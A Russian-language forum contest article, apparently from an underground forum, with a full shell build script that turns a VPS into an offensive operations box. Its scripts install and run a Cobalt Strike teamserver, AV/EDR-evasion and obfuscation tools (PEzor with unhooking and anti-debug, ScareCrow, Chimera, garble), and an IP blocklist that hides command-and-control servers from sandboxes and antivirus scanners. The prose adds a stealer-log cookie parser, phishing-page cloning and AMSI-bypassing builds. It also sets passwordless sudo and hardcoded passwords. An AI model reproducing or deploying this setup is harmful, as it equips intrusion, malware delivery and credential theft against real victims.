What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

x4k

Light Weight
Депозит
$0
Автор x4k, для конкурса статей .is


# ПРИВЕТИКИ v2

## 1.Введение

В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.

Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.

Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)

## 2.Установщик

Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.

git clone https://github.com/l4ckyguy/ukn0w --depth 1 /opt/ukn0w ; cd /opt/ukn0w ; ./build.sh

После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD

## 3.hostInside

Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname

Bash: Скопировать в буфер обмена
Code:
home="$(pwd)" ; hname="yourhostna.me" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
    wget -O /tmp/ka.deb https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i /tmp/ka.deb
  echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list ; sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done


После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом

Bash: Скопировать в буфер обмена
Code:
#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2 ; chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2  none swap sw,pri=10  0  0' >> /etc/fstab ; rm /etc/motd &>/dev/null

#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; touch /root/.hushlogin

#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make \
htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 \
ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; systemctl enable docker ; systemctl start docker
apt-get -y purge apache2

#wine32
dpkg --add-architecture i386 ; apt-get update ; apt-get -y install wine32

После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit

Bash: Скопировать в буфер обмена
Code:
#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5

#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#ulimit
echo 'session required  pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
*    soft nofile   655350
*    hard nofile   655350
root   soft nofile   655350
root   hard nofile   655350
EOF

Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))

Bash: Скопировать в буфер обмена
Code:
#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 \
| grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh

cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr

[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/ --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF

update-grub

#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local


Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.

Bash: Скопировать в буфер обмена
Code:
#cobaltstrike section
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ; hname="$(hostname)"
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts

cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver


Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)
Bash: Скопировать в буфер обмена
Code:
#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/

cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF

cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps

#sudoers
cat<<'EOF'> /etc/sudoers
Defaults  env_reset
Defaults  mail_badpass
Defaults  secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root ALL=(ALL) NOPASSWD: ALL
gvm  ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF

GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)

Bash: Скопировать в буфер обмена
Code:
#acun
docker pull 0x4k/acunetix

#PATROWL
function installpatrowl() {
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * * cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -
}
#installpatrowl

#super_os
/etc/init.d/docker restart ; sleep 2 ; cd /opt ; docker build -t kali_suos .

printf "\n\n\033[1;33mЧищу, мою, убираю. Ставлю антипесочницу и перезагружась..\n\033[0m"
sleep 4 ; apt-get -y autoremove ; apt autoclean

#badboyz
function bbinstall() {
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz
}
bbinstall

sudo -u root reboot

... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...



## 3.osInside

Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
x2="p@ssw0rd" ; x4="p@ssw0rd" ; echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd ; cusw
chmod 600 /root/.vnc/passwd ; rm -r /tmp/* ; rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 1 ; done
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
cat<<EOF>/usr/share/applications/patrowl.desktop
[Desktop Entry]
Name=spiderfoot
Encoding=UTF-8
Exec=firefox http://$HOSTNAME:8383
Icon=balena-etcher-electron
StartupNotify=false
Terminal=false
Type=Application
EOF
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137

Ну а frp сервис так:

Bash: Скопировать в буфер обмена
Code:
#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/

cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = XHOSTNAME
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF

Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.
Bash: Скопировать в буфер обмена
Code:
export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot nmap locales imagemagick xclip -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper

cat<<'EOF'>/etc/sudoers
Defaults  env_reset
Defaults  mail_badpass
Defaults  secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root ALL=(ALL) NOPASSWD: ALL
x  ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
EOF

#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin

#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ; printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc

Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!

Bash: Скопировать в буфер обмена
Code:
#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/

#wallz
wget -O /tmp/wall.zip ; unzip -P #bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 \
| cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc

#nanorc
cd ~; wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash

#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null

#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh


Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).

Bash: Скопировать в буфер обмена
Code:
#cobaltstrike
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF

#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF

#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url \
| head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install

#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall

#pwncat
python3 -m pip install pwncat pe-tree

#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1

#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans

#one-lin3r
pip3 install one-lin3r pefile

#garble
GO111MODULE=on go get mvdan.cc/garble

#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow

#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang

#pe-tree
pip3 install pe-tree libtmux docutils

#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc

#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64

#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z

Как видно из скрипта, помимо самого кобальт-страйка, я так же установил в систему следующие opensource-недоделки:

* GHIDRA - утилита из утечки Национальной Службы Безопасности Америки, которая стала популярна (еще бы), да и еще появился свой репозиторий github. Альтернатив - нет (ну я не беру любительские полу-клоны, реальной действительно нет). Позволяет если и не декомпилировать бинарник, так точно узнать что и как работает. Впрочем, мои нынешние биконы ей пока не по зубам ;-)
* rustscan - позволит Вам осканировать сеть либо ip-адрес в тысячу (не шутка) раз быстрее nmap. Имею ввиду отстук по портам. Применение?)) Ну например 'rustscan -u 192.168.0.0/16 -p 3309,445' =)
* oneforall - лучший, по моему мнению и самый быстрый фузер сабдоменов. позволяет обнаруживать сети с точностью еврея-ломбардиста. хотя, почему-то (как и весь современный, более-менее сереьзный софт) - родом из Поднебесной
* pwncat - netcat на стимулятор, первые три буквы говорят сами за себя
* chimera - обфускация powershell скриптов, имеет множество функций. лично я использую для преобразования в числовой формат. например `chimera -l 3 -d -f /path/to/script.ps1 -o /tmp/obfu.ps1`. Подставьте вместо -d -a - получите полный функционал
* trans - очень удобный переводчик прямо в терминале, так же легко-применисый на практике, например `trans "Привет, Медвед" -t en`
* one-lin3r - так же утилита из разряда Twix - внутри куча способов запустить/дропнуть/шеллнуть супостата. Весьма полезная штука
* garble - компилятор (обфускатор) go. смотрите полную документацию по применению. На личном опыте - КПД на уровне 50%
* scarecrow - потрясающая утилита, написанная на golang. "работает" с компонентов активной защиты EDR, так же внутри исходников каждый заинтересованный сможет найти много интересных моментов, таких как ... не буду портить "десерт", заинтересованные - вперед =)
* так же в /opt были клонированы репозитории таких маэстро, как mcgeeky и S3cur3Th1sSh1t, плюс WINAPI-tricks, подсмотрев в которые, каждый найдет немало полезного. очень много "готовых" к употреблению скриптов и программ. если кто вдруг решит пойти еще дальше, советую изучить так же corkami (не клонировал, уровень немного Выше ожидаемого от юзеров этого скрипта) - маг современности Анджи играюче меняет PE с PNG, PDF, ZIP. Я на досуге так же стараюсь обуздать этот волшебный мир... Успехи - так себе))) ну и nishang - уже классика Kali, но от того не менее эффективные скрипты ps. Кстати, неплохо сочитаются с chimera ;-)
* pe-tree - быстрый objdump в графическом исполнении.
* arsenal - нажав CTRL+G либо просто выполнив a - получите очень базу-подсказку практически по всем моментам как пентеста, так и пользования Linux в целом
* TDM-GCC - mingw для wine со встроенной обфускацией типа ... если интересно, узнаете какого типа, остальным же ничего не скажет) на практике - поможет перекомпилировать биконы с минимальными детектом
Так же в файле /root/.zshrc , который является конфигурационным файлом активного шелла (zsh) я добавил несколько полезных функций, которые так же можно выполнть в терминале системы:
* bmcs - выполните в папке с проектом csharp-программы и файлом проекта с расширением .sln и с вероятностью 90% получите скомпилированный и готовый к употреблению (AMSIfail внутри) бинарник в папке /root/xbuilds
* speedtest - название вполне говорящее. комментарии излишне
* getlanding сайт - сп@здит страничку и преобразует внутренние ссылки во внешние. Такое ощущение, будто только что купили на форуме услугу - ЗАКАЖИ ЛЕНДИНГ У НАС И ПОЛУЧИ ЗНАЧОК ЛОХ НА БОЙСКАУТСКИЙ ФРАК =)
* rnd число - выдает случайные цифры-буквы, удобно для генерации паролей и других кодовых фраз
* dn ссылка - очень быстрая загрузка файлов с помощью aria2
* cb файл - скопирует содержимое файла в буфер обмена. жизненно и полезно
* fb64 файл - преобразует содержимое файла в формат base64, выдаст в буфер обмена в таком виде `echo yourbase64 | base64 -d -w0 > /usr/local/bin/yourapp ; chmod +x /usr/local/bin/yourapp'
В /usr/local/bin так же можно найти:
* cusw - скрипт замены обоев рабочего стола
* net-obfuscate - враппер, применив который получите обфускацию .NET ехешника
Нажмите, чтобы раскрыть...

